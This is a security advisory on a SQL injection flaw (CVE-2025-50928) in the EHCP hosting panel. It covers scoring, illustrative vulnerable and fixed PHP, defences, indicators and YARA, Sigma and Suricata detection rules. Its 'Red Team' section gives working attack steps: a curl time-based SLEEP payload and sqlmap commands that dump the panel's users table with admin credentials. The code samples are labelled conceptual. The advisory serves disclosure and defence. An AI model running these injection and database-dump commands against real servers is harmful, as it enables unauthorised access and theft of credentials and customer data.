CVE-2025-50928

Executive Summary

CVE-2025-50928 is a critical SQL injection vulnerability discovered in Easy Hosting Control Panel (EHCP) version 20.04.1.b. The flaw resides in the id parameter of the Change Settings function, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to complete database compromise, including extraction of sensitive user credentials, configuration data, and potential lateral movement within the hosting environment. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and carries a CVSS v3.1 base score of 9.8 (Critical).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of network exploitability, low complexity, and no required privileges makes this vulnerability highly attractive to attackers. The EPSS score of 0.0% indicates low exploitation likelihood at the time of analysis, but this may change rapidly once PoC code emerges.

Deep Dive & Mechanics

The vulnerability exists in the Change Settings functionality of EHCP, specifically within the handling of the id parameter. The application fails to sanitize or parameterize user-supplied input before incorporating it into a SQL query. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands against the backend database (likely MySQL/MariaDB).

The typical vulnerable code pattern involves directly concatenating the id parameter into a query string, such as:

UPDATE settings SET value = 'new_value' WHERE id = '$_GET['id']'

An attacker can supply a value like 1' OR '1'='1 to manipulate the query logic, or use stacked queries (if supported) to execute additional commands like INSERT, UPDATE, or DELETE.

The Change Settings function is a privileged administrative feature, but the lack of authentication checks on the endpoint means any network-accessible user can trigger the vulnerability. This is a classic example of improper input validation leading to SQL injection.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// vulnerable.php
$id = $_GET['id'];
$query = "UPDATE settings SET value = 'new_value' WHERE id = '$id'";
mysqli_query($conn, $query);

Patched Code (Conceptual):

// patched.php
$id = intval($_GET['id']); // Cast to integer
$query = "UPDATE settings SET value = 'new_value' WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);

The patched version uses prepared statements with parameterized queries, which completely separates SQL logic from user data. Additionally, casting the id to an integer ensures only numeric values are accepted, further reducing the attack surface.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: EHCP v20.04.1.b running on Ubuntu 20.04 LTS
• Attacker: Kali Linux 2024.1
• Tools: sqlmap, Burp Suite, curl

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://target-ip:port/change_settings.php?id=1"
   

2. Confirm SQL injection using a time-based payload:

   curl "http://target-ip:port/change_settings.php?id=1' AND SLEEP(5)-- -"
   

   If the response is delayed by 5 seconds, the vulnerability is confirmed.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target-ip:port/change_settings.php?id=1" --batch --dbs
   

4. Extract user credentials:

   sqlmap -u "http://target-ip:port/change_settings.php?id=1" --batch -D ehcp_db -T users --dump
   

Expected Outcome: Full database dump, including admin credentials, customer data, and server configuration.

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for SQL injection patterns in web server logs (e.g., ' OR, SLEEP, UNION).
• Deploy a Web Application Firewall (WAF) with rules to block suspicious SQL keywords.
• Implement network segmentation to isolate the control panel from critical backend systems.

Honeypot Setup:

• Deploy a decoy EHCP instance with modified logging to capture attacker behavior.
• Use fail2ban to automatically block IPs that trigger SQL injection patterns.

Incident Response:

• If exploitation is detected, immediately isolate the affected server.
• Rotate all database credentials and review logs for unauthorized access.
• Apply virtual patching via WAF until an official fix is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /change_settings.php with unusual id parameter values containing SQL keywords.
• Outbound database connections from the web server to unknown IPs (data exfiltration).
• Unusual SLEEP or BENCHMARK function calls in database logs.

File IOCs:

• Modified EHCP configuration files (e.g., config.php).
• Presence of web shells in the EHCP web root (e.g., cmd.php, shell.php).

Log IOCs:

• Web server logs showing id=1' OR '1'='1 or similar patterns.
• Database logs showing Error: You have an error in your SQL syntax near the id parameter.

Detection Engineering

YARA Rule

rule CVE_2025_50928_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting EHCP Change Settings id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50928"
    strings:
        $s1 = "id=" ascii wide nocase
        $s2 = "' OR " ascii wide nocase
        $s3 = " UNION " ascii wide nocase
        $s4 = " SLEEP(" ascii wide nocase
        $s5 = " BENCHMARK(" ascii wide nocase
    condition:
        all of ($s1, $s2) or all of ($s1, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against EHCP Change Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the id parameter in EHCP Change Settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "id=' OR "
            - "id=1' UNION "
            - "id=1' AND SLEEP("
            - "id=1' AND BENCHMARK("
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameter values (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-50928 SQL Injection Attempt - EHCP Change Settings"; flow:to_server,established; content:"/change_settings.php"; http_uri; content:"id="; http_uri; pcre:"/id=.*?['\"]\s*(OR|UNION|SLEEP|BENCHMARK)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Change Settings endpoint if not essential, by removing or renaming the vulnerable script.
2. Apply a virtual patch using a WAF to block SQL injection patterns in the id parameter.
3. Restrict network access to the EHCP web interface to trusted IPs only (e.g., via firewall rules).

Long-Term Fix:

• Upgrade to a patched version of EHCP once released by the vendor.
• Implement input validation and parameterized queries in all database interactions.
• Conduct a full security audit of the EHCP codebase to identify similar vulnerabilities.

Workaround:

• If patching is not possible, modify the vulnerable PHP file to cast the id parameter to an integer:

  $id = intval($_GET['id']);
  

Valters IT